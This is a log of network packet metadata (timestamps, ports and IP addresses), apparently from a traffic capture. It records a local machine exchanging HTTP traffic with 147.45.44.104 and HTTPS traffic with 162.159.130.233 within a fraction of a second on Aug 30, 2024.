Aug 30, 2024 06:17:05.730195045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730209112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730216980 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730227947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730251074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730274916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730285883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730318069 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730360985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730370998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730379105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730411053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.730458021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.730499029 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.774241924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.774252892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.774260998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.774271011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.774312019 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.774348974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.774355888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.774370909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.774379015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.774389982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.774394035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.774439096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.774439096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.774471045 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.774486065 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.774533033 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.774547100 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.774580956 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.774841070 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.774854898 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.774905920 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.774913073 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.774950027 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.775211096 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.775227070 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.775276899 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.775283098 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.775320053 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.775583982 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.775598049 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.775648117 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.775654078 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.775690079 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.775896072 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.775912046 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.775958061 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.775963068 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.775999069 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.776309013 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.776323080 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.776375055 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.776381969 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.776420116 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.776648998 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.776667118 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.776710987 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.776721954 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.776757002 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.777020931 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.777043104 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.777077913 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.777082920 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.777107954 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.777117968 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.813946962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.813960075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.813977003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.813998938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814013004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814083099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814094067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814102888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814112902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814121962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814129114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814147949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814157009 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814243078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814290047 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814305067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814313889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814352036 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814356089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814364910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814373970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814387083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814390898 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814405918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814434052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814467907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814477921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814486980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814496994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814505100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814511061 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814527035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814547062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814569950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814582109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814590931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814604044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814613104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814614058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814629078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814660072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814675093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814687014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814718008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814738035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814747095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814754963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814785004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814801931 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814806938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814817905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814826012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814851999 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814876080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814876080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814886093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814893961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814928055 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.814951897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814961910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814970016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.814995050 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815012932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815170050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815217972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815227985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815236092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815244913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815278053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815278053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815289021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815298080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815308094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815318108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815373898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815373898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815386057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815396070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815404892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815413952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815426111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815435886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815439939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815449953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815469027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815481901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815485954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815507889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815535069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815542936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815552950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815562010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815572023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815588951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815608978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815634012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815644979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815653086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815663099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815671921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815685034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815699100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815707922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815776110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815785885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815794945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815803051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815813065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815826893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815843105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815843105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815855026 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815932035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815941095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815949917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815959930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815969944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815973043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815979958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815989017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.815999031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.815999031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816062927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816075087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816140890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816150904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816150904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816159964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816169977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816179991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816190004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816211939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816212893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816212893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816273928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816333055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816343069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816351891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816361904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816370010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816380024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816402912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816415071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816457987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816468000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816477060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816488981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816498995 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816500902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816510916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816518068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816524029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816524029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816534042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816545010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816559076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816569090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816591978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816595078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816603899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816612959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816621065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816632032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816647053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816647053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816657066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816659927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816665888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816669941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816675901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816685915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816695929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816699028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816704988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816715002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816724062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816756964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816756964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816865921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816875935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816884995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816899061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816911936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.816989899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.816989899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817001104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817011118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817019939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817030907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817038059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817039013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817047119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817059040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817059994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817066908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817073107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817090988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817094088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817101955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817112923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817121029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817126036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817131042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817138910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817150116 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817151070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817159891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817162037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817167997 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817173004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817182064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817184925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817192078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817195892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817217112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817240953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817379951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817389965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817399025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817409992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817425013 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817449093 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817471027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817481041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817487955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817526102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817526102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817596912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817605972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817615032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817625046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817635059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817643881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817646027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817653894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817662954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817665100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817676067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817714930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817729950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817739010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817748070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817758083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817776918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817814112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817889929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817900896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817909002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817918062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817926884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817936897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817945004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817948103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817948103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817955017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817962885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817970991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817975044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817981005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.817987919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.817991018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818001986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818011045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.818042994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.818042994 CEST	49733	80	192.168.2.4	147.45.44.104
